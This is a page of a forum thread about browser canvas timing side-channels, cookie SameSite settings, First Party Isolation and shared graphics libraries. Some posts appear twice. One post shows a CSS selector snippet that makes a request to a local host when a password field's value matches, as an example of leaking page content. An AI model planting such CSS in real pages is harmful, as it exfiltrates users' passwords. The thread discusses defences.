21–30 of 44 posts
Sadly I think long term mitigating these side-channel attacks is not viable. Although stop-gap patches can buy us more time to get a good solution in place. It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak informatio…
Sadly I think long term mitigating these side-channel attacks is not viable. Although stop-gap patches can buy us more time to get a good solution in place. It's impossible for something to behave in the same perfect way all the time with all the performance optimizations, fast paths, and branching. As soon as something is in your process or you can make requests to it, small internal differences will leak informatio…
Right. That's why you should set the SameSite attribute on session cookies.
There are so many interesting ways of leaking page content using timing attacks like these. There are many more ways to leak content without advanced attackvectors, like using CSS to send server request based on selectors: input[type="password"][value$=" "] { background-image: url("http://localhost:3000/+"); } How can we improve the web to make stuff like this more secure? Just setting up CSP (which can prevent the C…
Isn't this only an issue on sites that allow custom css? There aren't many of these sites around (the only one I know of is reddit). In most cases if you're in a position to tamper with the css you can also tamper with the js directly.
Earlier quoted context omitted.
Right. That's why you should set the SameSite attribute on session cookies.
Sure, but cookies are only a small part of the problem. It's not enough.
Otherwise its no different then doing curl on the attacker's machine.
The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.
WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies
What is the use case for the operations that cause these ‘tainted’ canvases anyway?
Something like a captcha or a security code maybe?
Earlier quoted context omitted.
I think First Party Isolation (available by default in Tor browser and via a about:config flag in Firefox) is this feature?
Exactly. I've used this for over a year now in FF. It can be a bit annoying with things like recaptcha, and sadly some login systems completely break (like Atlassian SSO), but overall most things work just fine.
The most interesting part for me is that Firefox and Chrome use the same drawing library for 2D canvas. Does this mean that all engines use the same library? Or does WebKit use something else? It reminds me of the Web SQL situation where everyone used the same library (SQLite). Eventually, the standard got deprecated because of that.
WebKit used to use Skia as well afaik, but switched to Cairo(a FOSS 2d graphics library without any connections to Google) after Google forked WebKit. The same thing happened to V8, Apple made JavaScriptCore to remove dependencies on any Google-owned code after Google stopped contributing to WebKit itself. https://trac.webkit.org/wiki/WebKitGTK/Dependencies
I get why non-same-origin images need to keep working. I'm curious what depends on using non-same-origin images in canvas rendering, and how hard it'd be for those sites to migrate to loading those images first-party.